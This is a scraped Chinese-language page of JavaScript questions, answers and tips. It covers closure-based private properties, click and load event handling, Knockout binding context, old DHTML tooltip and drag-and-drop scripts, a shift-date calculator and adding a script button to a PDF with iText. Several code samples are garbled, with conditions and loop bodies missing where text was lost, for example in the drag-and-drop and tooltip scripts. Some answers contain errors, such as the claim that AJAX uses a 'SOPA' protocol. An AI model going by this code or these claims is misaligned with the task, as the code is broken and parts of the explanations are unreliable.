script

阅读 / 问答 / 标签

如何在JavaScript中实现私有属性的写类方式(二)_javascript技巧

上一篇写了个工具函数$class,这篇再完善以下。实现以下功能1,继承2,子类继承父类时,不继承父类的私有属性 代码如下:/** * @param {String} className * @param {String/Function} superCls * @param {Function} classImp */function $class(className, superCls, classImp){ if(superCls === "") superCls = Object; function clazz(){ if(typeof this.init == "function"){ this.init.apply(this, arguments); } } var p = clazz.prototype = new superCls(); var _super = superCls.prototype; window[className] = clazz; classImp.apply(p, [_super]); }先写个父类 代码如下:/** * 父类 Person */$class("Person","",function(){ // 私有属性age var age; this.init = function(n, a){ // 公有属性name this.name = n; // 私有属性初始化 age = a; }; this.getName = function(){ return this.name; }; this.setName = function(name){ this.name = name; } this.getAge = function(){ return age; }; this.setAge = function(a){ age = a; }; });写子类,继承于Person 代码如下:$class("Man",Person, function(supr){ var school; this.init = function(n, a, s){ supr.init.apply(this, [n,a]); school = s; } this.getSchool = function(){ return school; }; this.setSchool = function(s){ school = s; }; }); new一个子类实例 代码如下:var m = new Man("tom", 25, "pku"); console.log(m.name); // tom 继承父类的共有属性name可以直接使用点操作符获取 console.log(m.age); // undefined 父类的私有属性age不能直接使用点操作符获取 console.log(m.getAge()); // 25 可通过父类的共有方法getAge获取私有属性age console.log(m.school); // undefined Man自己的私有属性仍然不能通过点操作符获取 console.log(m.getSchool()); // pku 通过getSchool()方法获取私有属性school

javascript:如何在span中触发单击事件,有点难,高手请进

<span onclick=movediv()>我的显示信息</span>或<span onclick="movediv()">我的显示信息</span>就OK了.不用写成this.movediv();

javascript if(!validate()) 中!表示什么

对validate()函数的返回值做!(非)运算,也就是说,如果validate()函数返回true,那么!validate()就是false,如果validate()函数返回false,那么!validate()就是true。

HTML、JavaScript、CSS、PHP技术在Web开发中的作用是什么?

html 网页的组成部分,是一种标记性语言而不是编程语言,像你随便打开一个网页他都是由HTML搭建起来的。JavaScript 一种嵌入在浏览器内的客户端脚本语言,属于解释型语言,也就是说在运行的时候不需要编译,而是由浏览器来对他的代码翻译成浏览器本身能认识的玩意再执行,不同于编程语言的是编程语言都是需要把编写的代码编译成机器码才能执行。而他的主要作用之一就是用于特效制作,像那些网站有很多特效的,比如说鼠标放到连接上,然后点一下就出现一个登录框框什么的基本都是JavaScript实现的,还有就是验证你有没有输入内容什么的,像注册用户的时候基本都是它了。最后就是AJAX了,其实AJAX也是拿JavaScript来写的,不过他是后台执行的,传输的协议是SOPA协议,然后模拟一个表单请求达到不刷新页面来实现网页内容的替换什么的。像百度地图啊,然后还有就是注册用户的时候你输入一个用户名然后提示有没有注册了,基本都是AJAX来实现的,后台去数据库查找数据,然后再把网页上的内容更改。CSS 就相当于化妆师,像你一个HTML网页如果不用CSS来修饰的话可以说是无法见人的,就像现在一个丑女可以PS成一个神仙姐姐一样,CSS就是把HTML页面来美化的玩意。PHP 是后台服务器语言,而之前说的JAVASCRIPT是客户端脚本语言,一个执行在浏览器,一个执行在服务端,也就是说当你点一个登录之后数据传递到服务端,然后服务端肯定要对这个登录用户名和密码进行判断把?那他肯定就要用一种语言来对这些数据进行操作吧?而PHP就是这些语言中的一种,还有其他的比如asp.net,asp,Java等等。当然了他不止就是处理数据什么的这么简单,这里只是说下他的一个功能,像处理请求啊,权限管理什么的都是他可以完成的以上纯属手打,希望对你有帮助。请采纳,谢谢。。PC-系统维护群欢迎你的加入

认识Knockout及如何使用Knockout绑定上下文_javascript技巧

Knockout介绍Knockout简称ko,是一个轻量级的javascript类库,采用MVVM设计模式(即Model、view、viewModel),简单优雅的实现了双向绑定,实时更新,帮助您使用干净的数据模型来创建丰富的、响应式的用户界面。Knockout有三大核心特性: 1.优雅的依赖跟踪(Elegant dependency tracking):任何时候数据模型的变化都会自动更新相应的UI部分; 2.声明式绑定(Declarative bindings) : 简单的将UI和你的数据模型关联起来,你就可以创建复杂的动态UI; 3.高度可扩展性(Trivially extensible) : 只需几行代码实现一个自定义的行为来作为声明式绑定;其他优点: 1.纯净的javascript代码; 2.可以随时添加到你现有的web应用中; 3.轻量级,GZIP后只有13K; 4.能够工作于几乎所有主流浏览器((IE 6+, Firefox 2+, Chrome, Safari, Edge, others);ko采用的是MVVM设计模式,即model view viewModel。简单的例子就是这么简单,你不必写代码来更新text内容,它会在数组长度改变时自动更新,与此类似,如果我们想利用数组长度控制按钮的可用性仅仅需要:下面接着给大家介绍使用Knockout绑定上下文 Binding contextbinding context是一个保存数据的对象,你可以在你的绑定中引用它。当应用绑定的时候,knockout自动创建和管理binding context的继承关系。这种层次结构的根引用你指定的viewModel参数(ko.applyBindings(viewModel))。然后每次使用一个控制流如with或者foreach 来创建一个子节点binding context引用嵌套的viewModel data。$parent$parents这是一个数组,代表了所有的父节点view models$parent[0] : 代表父节点;$parent[1] : 代表祖父节点;$parent[1] : 代表曾祖父节点;.....以此类推$root它是root context的根节点视图模型对象,一般是通过ko.applyBindings指定的,相当于$parents[$parents.length - 1]。$component如果你在一个特定的组件模板的上下文中,$component指定的是那个component,它的指定组件相当于$root,在嵌套的组件情况下,它代表了最邻近的一个组件。$data它代表了当前上下文中的viewModel对象,$data和$root是相当的。在嵌套的binding context中,这个参数将设置到当前的数据项。$data是非常有用的,例如,当你想引用viewModel本身而不是viewModel的属性的时候。它是一个在foreach绑定中的数组的从0开始的索引条目。不想其他的context属性,$index是observable的,即会随着数组item的更新而更新。$parentContext指定了父节点级别的binding context对象,与$parent不同的是,它是在父节点中指定数据而不是binding context。$rowData它是在当前上下文中,原viewModel的值,通常它相当于$data,但是,如果viewModel被ko以observable来修饰,$data是unobservable的,而$rowData是observable的。

如何丰富alt属性的显示效果_javascript技巧

IE默认会给带alt属性图片和带title的链接一个浮动显示 蓝色理想[Ctrl+A 全选 注:如需引入外部Js需刷新才能执行]很多朋友觉得不好看或者功能不丰富想改改,搜集了几种办法大家研究下.popShow{ background:#ffffcc; border:1px solid black; padding:4px;font-family:verdana; font-size:70%; width:300px;filter:progid:DXImageTransform.Microsoft.Gradient(GradientType=0,StartColorStr="#0099FF", EndColorStr="#00FFFF") } .popImg{ border:0px; cursor: hand; } var oPopup = window.createPopup(); function fnDef() { oPopup.document.body.innerHTML = ""+event.srcElement.title+""; var popupBody = oPopup.document.body; oPopup.show(0, 0, 300, 50); var realHeight = popupBody.scrollHeight; oPopup.hide(); oPopup.show(0, 15 , 300, realHeight, event.srcElement); } [Ctrl+A 全选 注:如需引入外部Js需刷新才能执行]var ns4 = document.layers; var ns6 = document.getElementById && !document.all; var ie4 = document.all; offsetX = 0; offsetY = 20; var toolTipSTYLE=""; function initToolTips() { if(ns4||ns6||ie4) { if(ns4) toolTipSTYLE = document.toolTipLayer; else if(ns6) toolTipSTYLE = document.getElementById("toolTipLayer").style; else if(ie4) toolTipSTYLE = document.all.toolTipLayer.style; if(ns4) document.captureEvents(Event.MOUSEMOVE); else { toolTipSTYLE.visibility = "visible"; toolTipSTYLE.display = "none"; } document.onmousemove = moveToMouseLoc; } } function toolTip(msg, fg, bg) { if(toolTip.arguments.length < 1) // hide { if(ns4) toolTipSTYLE.visibility = "hidden"; else toolTipSTYLE.display = "none"; } else // show { if(!fg) fg = "#777777"; if(!bg) bg = "#FFFFFF"; var content = "" + "&nbsp;" + msg + "&nbsp;"; if(ns4) { toolTipSTYLE.document.write(content); toolTipSTYLE.document.close(); toolTipSTYLE.visibility = "visible"; } if(ns6) { document.getElementById("toolTipLayer").innerHTML = content; toolTipSTYLE.display="block" } if(ie4) { document.all("toolTipLayer").innerHTML=content; toolTipSTYLE.display="block" } } } function moveToMouseLoc(e) { if(ns4||ns6) { x = e.pageX; y = e.pageY; } else { x = event.x + document.body.scrollLeft; y = event.y + document.body.scrollTop; } toolTipSTYLE.left = x + offsetX; toolTipSTYLE.top = y + offsetY; return true; } 四川辣椒的艺术 (转) [Ctrl+A 全选 注:如需引入外部Js需刷新才能执行]var tipTimer; function locateObject(n, d) { //v3.0 var p,i,x; if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) { d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);} if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i (document.body.clientWidth + document.body.scrollLeft)) { locateObject(object).style.left = (document.body.clientWidth + document.body.scrollLeft) - locateObject(object).clientWidth-10; } else { locateObject(object).style.left=document.body.scrollLeft+event.clientX } locateObject(object).style.visibility="visible" tipTimer=window.setTimeout("hideTooltip(""+object+"")", displaytime); return true; } else if (document.layers) { locateObject(object).document.write(""+unescape(tipContent)+"") locateObject(object).document.close() locateObject(object).top=e.y+20 if ((e.x + locateObject(object).clip.width) > (window.pageXOffset + window.innerWidth)) { locateObject(object).left = window.innerWidth - locateObject(object).clip.width-10; } else { locateObject(object).left=e.x; } locateObject(object).visibility="show" tipTimer=window.setTimeout("hideTooltip(""+object+"")", displaytime); return true; } else { return true; } } ", "#fffff2","#000000","#000000","20000")" onMouseOut="hideTooltip("dHTMLToolTip")">点这里 [Ctrl+A 全选 注:如需引入外部Js需刷新才能执行].link{font-family:verdana,arial,helvetica; font-size:8pt; color:#003399; font-weight:normal} .link:hover{font-family:verdana,arial,helvetica; font-size:8pt; color:#0099FF; font-weight:normal} .prem_hint{font-family:verdana,arial,helvetica; font-size:8pt; color:#ffffff; font-weight:normal} .header{font-family:arial,verdana,helvetica; font-size:20pt; color:#ffff00; font-weight:bold} // Location of this script: // http://www.geocities.com/e_i_search/premshree/pub/scripts/JS/link_hint_scroller.htm //********************************************* //* Link Hint Scroller 1.0 * //* This script when you move your mouse over * //* displays a scrolling hint * //* (c) Premshree Pillai, * //* http://qik.cjb.net * //* E-mail : premshree@hotmail.com * //* Use the script freely as long as this * //* message is intact * //********************************************* window.onerror = null; var bName = navigator.appName; var bVer = parseInt(navigator.appVersion); var NS4 = (bName == "Netscape" && bVer >= 4); var IE4 = (bName == "Microsoft Internet Explorer" && bVer >= 4); var NS3 = (bName == "Netscape" && bVer < 4); var IE3 = (bName == "Microsoft Internet Explorer" && bVer < 4); var scroll_length = 150; //The scroll length var time_length =50; //Scroll speed var begin_pos = 100; //Start position of scroll hint var i; var j; if (NS4 || IE4) { if (navigator.appName == "Netscape") { layerStyleRef="layer."; layerRef="document.layers"; styleSwitch=""; }else{ layerStyleRef="layer.style."; layerRef="document.all"; styleSwitch=".style"; } } //SCROLL function Scroll(layerName){ if (NS4 || IE4) { if (NS4 || IE4) { if(i

怎么用javascript进行拖拽2_javascript技巧

var iMouseDown = false; var dragObject = null; var curTarget = null; function makeDraggable(item){ if(!item) return; item.onmousedown = function(ev){ dragObject = this; mouseOffset = getMouseOffset(this, ev); return false; } } function getMouseOffset(target, ev){ ev = ev || window.event; var docPos = getPosition(target); var mousePos = mouseCoords(ev); return {x:mousePos.x - docPos.x, y:mousePos.y - docPos.y}; } function getPosition(e){ var left = 0; var top = 0; while (e.offsetParent){ left += e.offsetLeft + (e.currentStyle?(parseInt(e.currentStyle.borderLeftWidth)).NaN0():0); top += e.offsetTop + (e.currentStyle?(parseInt(e.currentStyle.borderTopWidth)).NaN0():0); e = e.offsetParent; } left += e.offsetLeft + (e.currentStyle?(parseInt(e.currentStyle.borderLeftWidth)).NaN0():0); top += e.offsetTop + (e.currentStyle?(parseInt(e.currentStyle.borderTopWidth)).NaN0():0); return {x:left, y:top}; } function mouseCoords(ev){ if(ev.pageX || ev.pageY){ return {x:ev.pageX, y:ev.pageY}; } return { x:ev.clientX + document.body.scrollLeft - document.body.clientLeft, y:ev.clientY + document.body.scrollTop - document.body.clientTop }; } function mouseDown(ev){ ev = ev || window.event; var target = ev.target || ev.srcElement; if(target.onmousedown || target.getAttribute("DragObj")){ return false; } } function mouseUp(ev){ dragObject = null; iMouseDown = false; } function mouseMove(ev){ ev = ev || window.event; /* We are setting target to whatever item the mouse is currently on Firefox uses event.target here, MSIE uses event.srcElement */ var target = ev.target || ev.srcElement; var mousePos = mouseCoords(ev); if(dragObject){ dragObject.style.position = "absolute"; dragObject.style.top = mousePos.y - mouseOffset.y; dragObject.style.left = mousePos.x - mouseOffset.x; } // track the current mouse state so we can compare against it next time lMouseState = iMouseDown; // this prevents items on the page from being highlighted while dragging if(curTarget || dragObject) return false; } document.onmousemove = mouseMove; document.onmousedown = mouseDown; document.onmouseup = mouseUp; window.onload = function() { makeDraggable(document.getElementById("DragImage5")); makeDraggable(document.getElementById("DragImage6")); makeDraggable(document.getElementById("DragImage7")); makeDraggable(document.getElementById("DragImage8")); } Demo - Drag any of the images [Ctrl+A 全选 注:如需引入外部Js需刷新才能执行]你会注意到这个代码几乎是前面的全集,将前面的合在一起就实现了拖拽效果了. 当我们点击一个item时,我们就获取了很多变量,如鼠标位置,鼠标位置自然就包含了那个item的坐标信息了.如果我们点击了一个20*20px图像的正中间,那么鼠标的相对坐标为{x:10,y:10}.当我们点击这个图像的左上角那么鼠标的相对坐标为{x:0,y:0}.当我们点击时,我们用这个方法取得一些鼠标与图片校对的信息.如果我们不能加载页面item,那么信息将是document信息,会忽略了点击的item信息. mouseOffset函数使用了另一个函数getPosition.getPosition的作用是返回item相对页面左上角的坐标,如果我们尝试获取item.offsetLeft或者item.style.left,那么我们将取得item相对与父级的位置,不是整个document.所有的脚本我们都是相对整个document,这样会更好一些. 为了完成getPosition任务,必须循环取得item的父级,我们将加载内容到item的左/上的位置.我们需要管理想要的top与left列表. 自从定义了mousemove这个函数,mouseMove就会一直运行.第一我们确定item的style.position为absolute,第二我们移动item到前面定义好的位置.当mouse点击被释放,dragObject被设置为null,mouseMove将不在做任何事. Dropping an Item 前面的例子目的很简单,就是拖拽item到我们希望到的地方.我们经常还有其他目的如删除item,比如我们可以将item拖到垃圾桶里,或者其他页面定义的位置. 很不幸,我们有一个很大的难题,当我们拖拽,item会在鼠标之下,比如mouseove,mousedown,mouseup或者其他mouse action.如果我们拖拽一个item到垃圾桶上,鼠标信息还在item上,不在垃圾桶上. 怎么解决这个问题呢?有几个方法可以来解决.第一,这是以前比较推荐的,我们在移动鼠标时item会跟随鼠标,并占用了mouseover/mousemove等鼠标事件,我们不这样做,只是让item跟随着鼠标,并不占用mouseover等鼠标事件,这样会解决问题,但是这样并不好看,我们还是希望item能直接跟在mouse下. 另一个选择是不做item的拖拽.你可以改变鼠标指针来显示需要拖拽的item,然后放在鼠标释放的位置.这个解决方案,也是因为美学原因不予接受. 最后的解决方案是,我们并不去除拖拽效果.这种方法比前两种繁杂许多,我们需要定义我们需要释放目标的列表,当鼠标释放时,手工去检查释放的位置是否是在目标列表位置上,如果在,说明是释放在目标位置上了. 代码如下:/* All code from the previous example is needed with the exception of the mouseUp function which is replaced below */ var dropTargets = []; function addDropTarget(dropTarget){ dropTargets.push(dropTarget); } function mouseUp(ev){ ev = ev || window.event; var mousePos = mouseCoords(ev); for(var i=0; i targPos.x) && (mousePos.x < (targPos.x + targWidth)) && (mousePos.y > targPos.y) && (mousePos.y < (targPos.y + targHeight))){ // dragObject was dropped onto curTarget! } } dragObject = null; } var iMouseDown = false; var dragObject = null; Number.prototype.NaN0=function(){return isNaN(this)?0:this;} // Demo 0 variables var DragDrops = []; var curTarget = null; var lastTarget = null; function makeDraggable(item){ if(!item) return; item.onmousedown = function(ev){ dragObject = this; mouseOffset = getMouseOffset(this, ev); return false; } } function getMouseOffset(target, ev){ ev = ev || window.event; var docPos = getPosition(target); var mousePos = mouseCoords(ev); return {x:mousePos.x - docPos.x, y:mousePos.y - docPos.y}; } function getPosition(e){ var left = 0; var top = 0; while (e.offsetParent){ left += e.offsetLeft + (e.currentStyle?(parseInt(e.currentStyle.borderLeftWidth)).NaN0():0); top += e.offsetTop + (e.currentStyle?(parseInt(e.currentStyle.borderTopWidth)).NaN0():0); e = e.offsetParent; } left += e.offsetLeft + (e.currentStyle?(parseInt(e.currentStyle.borderLeftWidth)).NaN0():0); top += e.offsetTop + (e.currentStyle?(parseInt(e.currentStyle.borderTopWidth)).NaN0():0); return {x:left, y:top}; } function mouseCoords(ev){ if(ev.pageX || ev.pageY){ return {x:ev.pageX, y:ev.pageY}; } return { x:ev.clientX + document.body.scrollLeft - document.body.clientLeft, y:ev.clientY + document.body.scrollTop - document.body.clientTop }; } function mouseDown(ev){ ev = ev || window.event; var target = ev.target || ev.srcElement; if(target.onmousedown || target.getAttribute("DragObj")){ return false; } } function mouseUp(ev){ //dragObject = null; if(dragObject){ ev = ev || window.event; var mousePos = mouseCoords(ev); var dT = dragObject.getAttribute("droptarget"); if(dT){ var targObj = document.getElementById(dT); var objPos = getPosition(targObj); if((mousePos.x > objPos.x) && (mousePos.y > objPos.y) && (mousePos.x=0; i--){ with(activeCont.childNodes[i]){ if(nodeName=="#text") continue; // if the current item is "After" the item being dragged if( curTarget != activeCont.childNodes[i] && ((getAttribute("startLeft") + getAttribute("startWidth")) > xPos) && ((getAttribute("startTop") + getAttribute("startHeight")) > yPos)){ beforeNode = activeCont.childNodes[i]; } } } // the item being dragged belongs before another item if(beforeNode){ if(beforeNode!=curTarget.nextSibling){ activeCont.insertBefore(curTarget, beforeNode); } // the item being dragged belongs at the end of the current container } else { if((curTarget.nextSibling) || (curTarget.parentNode!=activeCont)){ activeCont.appendChild(curTarget); } } // make our drag item visible if(curTarget.style.display!=""){ curTarget.style.display = ""; } } else { // our drag item is not in a container, so hide it. if(curTarget.style.display!="none"){ curTarget.style.display = "none"; } } } // track the current mouse state so we can compare against it next time lMouseState = iMouseDown; // mouseMove target lastTarget = target; // track the current mouse state so we can compare against it next time lMouseState = iMouseDown; // this helps prevent items on the page from being highlighted while dragging return false; } function mouseUp(ev){ if(curTarget){ // hide our helper object - it is no longer needed dragHelper.style.display = "none"; // if the drag item is invisible put it back where it was before moving it if(curTarget.style.display == "none"){ if(rootSibling){ rootParent.insertBefore(curTarget, rootSibling); } else { rootParent.appendChild(curTarget); } } // make sure the drag item is visible curTarget.style.display = ""; } curTarget = null; iMouseDown = false; } function mouseDown(){ iMouseDown = true; if(lastTarget){ return false; } } document.onmousemove = mouseMove; document.onmousedown = mouseDown; document.onmouseup = mouseUp; window.onload = function(){ // Create our helper object that will show the item while dragging dragHelper = document.createElement("DIV"); dragHelper.style.cssText = "position:absolute;display:none;"; CreateDragContainer( document.getElementById("DragContainer1"), document.getElementById("DragContainer2"), document.getElementById("DragContainer3") ); document.body.appendChild(dragHelper); } Item #1 Item #2 Item #3 Item #4 Item #5 Item #6 Item #7 Item #8 Item #9 Item #10 Item #11 Item #12 [Ctrl+A 全选 注:如需引入外部Js需刷新才能执行]你现在拥有了拖拽的所有东西.下面的三个demo是记录事件历史.当你的鼠标在item上移动,将记录所生的事件,如果你不明白可以尝试一下鼠标的划过或者拖动,看有什么发生.LI { MARGIN-B

用javascript实现计算日期,推算上早晚班

<script type="text/javascript"> function btnCount_Click(){ s1 = document.getElementById("zaodate").value; s2 = document.getElementById("date").value; var dd=DateDiff(s1,s2); if(dd%2==0){ alert("早班") } else{ alert("晚班") } } //计算天数差的函数,通用 function DateDiff(sDate1, sDate2){ //sDate1和sDate2是2006-12-18格式 var aDate, oDate1, oDate2, iDays aDate = sDate1.split("-") oDate1 = new Date(aDate[1] + "-" + aDate[2] + "-" + aDate[0]) //转换为12-18-2006格式 aDate = sDate2.split("-") oDate2 = new Date(aDate[1] + "-" + aDate[2] + "-" + aDate[0]) iDays = parseInt(Math.abs(oDate1 - oDate2) / 1000 / 60 / 60 /24) //把相差的毫秒数转换为天数 return iDays } </script><h1>输入日期的格式:YYYY-MM-DD,如:2006-12-18 </h1><br>默认以2009年8月10号是早班计算,如果想更改请修改这里:早班日期:<input name="zaodate" value="2009-8-10"><br>输入想查询的日期<input name="date" value="2009-08-11"><input name="" type="button" onclick="btnCount_Click()" value="计算" />

javascript中,设置width时,style="width:100px" 和width

没区别,规范问题

pdf如何取消javascript提示

java可以利用iText(也有其他语言的)来加入: PdfReader reader = new PdfReader("c://1.pdf"); PdfStamper stamper = new PdfStamper(reader,new FileOutputStream(“c://new1.pdf”), "",true); PdfWriter writer = stamper.getWriter(); PushbuttonField button = new PushbuttonField(writer, new Rectangle(450, 750, 530, 800), "post"); PdfFormField submit = button.getField(); submit.setAction( PdfAction.javaScript("app.alert(‘hello,lec")", writer)); stamper.addAnnotation(submit, 1);

如何在PDF文件中调用JAVASCRIPT

这个问题问得好!!我也很想知道。。。

javaScript 的 setAttribute设置事件失效

同意楼上, 有on就是方法,切记

关于javascript中一个事件同时调用两个函数的问题

感觉这里addOnclick没有实际的用途,去掉 addOnClick照样能够正常运行。。恩,另外,addOnClick要起效果的话,执行一次就ok了,不需要每次都去运行~~

编程,JavaScript中的onload无法多次调用,求解决办法

不但onload,所有事件都一样,如果同一个事件你写了多个触发的函数,那么它只会运行一个的。要想实现多次触发,必须使用addEventListener--“添加事件监听”的方法:window.addEventListener("load",函数1,false);window.addEventListener("load",函数2,false);要注意,这两个(或者更多)语句可以放在页面的不同地方(甚至可以是不同的js文件内),当网页加载(onload)时,这些函数就会逐一运行了。但是,上述方法在IE中无效,IE中要用attachEvent,而且用法也不同:window.attachEvent("onload",函数1);window.attachEvent("onload",函数2);

JavaScript addEvent函数

a) function addEvent(el, type, fn){ if(el.attachEvent){ el["e"+type+fn] = fn; el[type+fn] = function(){ el[‘e"+type+fn](window.event);}el.attachEvent(‘on"+type, el[type+fn]);}else el.addEventListener(type, fn, false);}addEvent(window, "load", init);function init() { var odiv = document.getElementByIdx_x("divtest"); addEvent(odiv, "onmouseover", onmousefunc);addEvent(odiv, "onclick", onclickfunc);addEvent(odiv, "onmouseout", mouseoutfunc);}function onmousefunc(){ ... }function onclickfunc(){ ... }

javascript 事件监听

比如说一个页面上有什么东西,其中有一个按钮,按钮被点击,我们希望能够知道并做一些操作这个就叫做按钮的点击事件监听比如如下代码按钮元素 有一个onclick事件(就是点击事件)当点击了 执行函数DoClick这就是上面的说的监听他的点击事件,并进行操作处理!(至于后台,比如说我点击了按钮,向后台提交一些数据如用户名 密码等)jsp/html代码:<input type="button" id="but" value="测试按钮" onclick="DoClick()">javascript代码<javascript>function DoClick()  {    alert("点击了按钮!希望对你有帮助!");   }</javascript>

请说明JavaScript中处理事件的步骤

事件处理程序的方式了:1. 设置HTML标签属性为事件处理程序  文档元素的事件处理程序属性,其名字由“on”后面跟着事件名组成,例如:onclick、onmouseover。当然了,这种形式只能为DOM元素注册事件处理程序。实例:<!DOCTYPE HTML><html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <title>test</title> <style type="text/css"> #div1{width: 300px; height: 300px; background: red; overflow:hidden;} #div2{margin:50px auto; width: 200px; height: 200px; background: green; overflow:hidden;} #div3{margin:50px auto; width: 100px; height: 100px; background: blue;} </style></head><body> <div id="div1" onClick="console.log("div1");">div1 <div id="div2" oNClick="console.log("div2");">div2 <div id="div3" onclick="console.log("div3");" onclick="console.log("div3333");">div3 </div> </div> </div><script type="text/javascript"></script></body></html>结果(鼠标点击div3区域后):从结果中可以看出:  ①因为HTML里面不区分大小写,所以这里事件处理程序属性名大写、小写、大小混写均可,属性值就是相应事件处理程序的JavaScript代码;  ②若给同一元素写多个onclick事件处理属性,浏览器只执行第一个onclick里面的代码,后面的会被忽略;  ③这种形式是在事件冒泡过程中注册事件处理程序的;2.设置JavaScript对象属性为事件处理程序  可以通过设置某一事件目标的事件处理程序属性来为其注册相应的事件处理程序。事件处理程序属性名字由“on”后面跟着事件名组成,例如:onclick、onmouseover。实例:<!DOCTYPE HTML><html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <title>test</title> <style type="text/css"> #div1{width: 300px; height: 300px; background: red; overflow:hidden;} #div2{margin:50px auto; width: 200px; height: 200px; background: green; overflow:hidden;} #div3{margin:50px auto; width: 100px; height: 100px; background: blue;} </style></head><body> <div id="div1">div1 <div id="div2">div2 <div id="div3">div3 </div> </div> </div><script type="text/javascript"> var div1 = document.getElementById("div1"); var div2 = document.getElementById("div2"); var div3 = document.getElementById("div3");  div1.onclick = function(){    console.log("div1");  };  div2.onclick = function(){    console.log("div2");  };  div3.onclick = function(){    console.log("div3");  };  div1.onclick = function(){    console.log("div11111");  };  div1.onClick = function(){    console.log("DIV11111");  };</script></body></html>结果(鼠标点击div3区域后): 从结果中可以看出:  ①因为JavaScript是严格区分大小写的,所以,这种形式下属性名只能按规定小写;  ②若给同一元素对象写多个onclick事件处理属性,后面写的会覆盖前面的(ps:这就是在修改一个对象属性的值,属性的值是唯一确定的);  ③这种形式也是在事件冒泡过程中注册事件处理程序的;3.addEventListener()  前两种方式出现在Web初期,众多浏览器都有实现。而addEventListener()方法是标准事件模型中定义的。任何能成为事件目标的对象——这些对象包括Window对象、Document对象和所有文档元素等——都定义了一个名叫addEventListener()的方法,使用这个方法可以为事件目标注册事件处理程序。addEventListener()接受三个参数:第一个参数是要注册处理程序的事件类型,其值是字符串,但并不包括前缀“on”;第二个参数是指当指定类型的事件发生时应该调用的函数;第三个参数是布尔值,其可以忽略(某些旧的浏览器上不能忽略这个参数),默认值为false。这种情况是在事件冒泡过程中注册事件处理程序。当其为true时,就是在事件捕获过程中注册事件处理程序。实例:<!DOCTYPE HTML><html><head>  <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>  <title>test</title>  <style type="text/css">    #div1{width: 300px; height: 300px; background: red; overflow:hidden;}    #div2{margin:50px auto; width: 200px; height: 200px; background: green; overflow:hidden;}    #div3{margin:50px auto; width: 100px; height: 100px; background: blue;}  </style></head><body>  <div id="div1">div1    <div id="div2">div2      <div id="div3">div3      </div>    </div>  </div><script type="text/javascript">  var div1 = document.getElementById("div1");  var div2 = document.getElementById("div2");  var div3 = document.getElementById("div3");  div1.addEventListener("click", function(){ console.log("div1-bubble"); }, false);  div2.addEventListener("click", function(){ console.log("div2-bubble"); }, false);  div3.addEventListener("click", function(){ console.log("div3-bubble"); }, false);  div3.addEventListener("click", function(){ console.log("div3-bubble222"); }, false);  div1.addEventListener("click", function(){ console.log("div1-capturing"); }, true);  div2.addEventListener("click", function(){ console.log("div2-capturing"); }, true);  div3.addEventListener("click", function(){ console.log("div3-capturing"); }, true);</script></body></html>结果(鼠标点击div3区域后):从结果中可以看出:  ①addEventListener()第三个参数的作用正如上面所说;  ②通过addEventListener()方法给同一对象注册多个同类型的事件,并不会发生忽略或覆盖,而是会按顺序依次执行;相对addEventListener()的是removeEventListener()方法,它同样有三个参数,前两个参数自然跟addEventListener()的意义一样,而第三个参数也只需跟相应的addEventListener()的第三个参数保持一致即可,同样可以省略,默认值为false。它表示从对象中删除某个事件处理函数。实例:div1.addEventListener("click", div1BubbleFun, false);div1.removeEventListener("click", div1BubbleFun, false);function div1BubbleFun(){ console.log("div1-bubble");}4.attachEvent()  但是,IE8以及其之前版本的浏览器并不支持addEventListener()和removeEventListener()。相应的,IE定义了类似的方法attachEvent()和detachEvent()。因为IE8以及其之前版本浏览器也不支持事件捕获,所以attachEvent()并不能注册捕获过程中的事件处理函数,因此attachEvent()和detachEvent()要求只有两个参数:事件类型和事件处理函数。而且,它们的第一个参数使用了带“on”前缀的事件处理程序属性名。实例:var div1 = document.getElementById("div1");div1.attachEvent("onclick", div1BubbleFun);function div1BubbleFun(){  console.log("div1-bubble");}  相应的,从对象上删除事件处理程序函数使用detachEvent()。例如:div1.detachEvent("onclick", div1BubbleFun);  到此为止,我们已经说了浏览器中事件传播机制以及各种注册事件处理程序的方法。下面我们就再说说事件处理程序调用时的一些问题吧!二.事件处理程序的调用1.事件处理程序的参数:正如前面所说,通常事件对象作为参数传递给事件处理函数,但IE8以及其之前版本的浏览器中全局变量event才是事件对象。所以,我们在写相关代码时应该注意兼容性问题。实例(给页面上id为div1的元素添加点击事件,当点击该元素时在控制台输出事件类型和被点击元素本身):<!DOCTYPE HTML><html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <title>test</title> <style type="text/css"> #div1{width: 300px; height: 300px; background: red; overflow: hidden;} </style></head><body> <div id="div1">div1</div> <script type="text/javascript"> var div1 = document.getElementById("div1"); if(div1.addEventListener){ div1.addEventListener("click", div1Fun, false); }else if(div1.attachEvent){ div1.attachEvent("onclick", div1Fun); } function div1Fun(event){ event = event || window.event; var target = event.target || event.srcElement; console.log(event.type); console.log(target); } </script></body></html>2.事件处理程序的运行环境:关于事件处理程序的运行环境,也就是在事件处理程序中调用上下文(this值)的指向问题,可以看下面四个实例。实例一:<!DOCTYPE HTML><html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <title>test</title> <style type="text/css"> #div1{width: 300px; height: 300px; background: red; overflow: hidden;} </style></head><body> <div id="div1" onclick="console.log("html:"); console.log(this);">div1</div> <script type="text/javascript"> </script></body></html>  结果一:  从结果可以看出:    ①第一种方法事件处理程序中this指向这个元素本身;实例二:<!DOCTYPE HTML><html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <title>test</title> <style type="text/css"> #div1{width: 300px; height: 300px; background: red; overflow: hidden;} </style></head><body> <div id="div1" onclick="console.log("html:"); console.log(this);">div1</div> <script type="text/javascript"> var div1 = document.getElementById("div1"); div1.onclick = function(){ console.log("div1.onclick:"); console.log(this); }; </script></body></html>  结果二:  从结果可以看出:    ①第二种方法事件处理程序中this也指向这个元素本身;    ②存在第二种方法时,它会覆盖第一种方法注册的事件处理程序;实例三:<!DOCTYPE HTML><html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <title>test</title> <style type="text/css"> #div1{width: 300px; height: 300px; background: red; overflow: hidden;} </style></head><body> <div id="div1" onclick="console.log("html:"); console.log(this);">div1</div> <script type="text/javascript"> var div1 = document.getElementById("div1"); div1.onclick = function(){ console.log("div1.onclick:"); console.log(this); }; div1.addEventListener("click", function(){ console.log("div1.addEventListener:"); console.log(this); }, false); </script></body></html>  结果三:  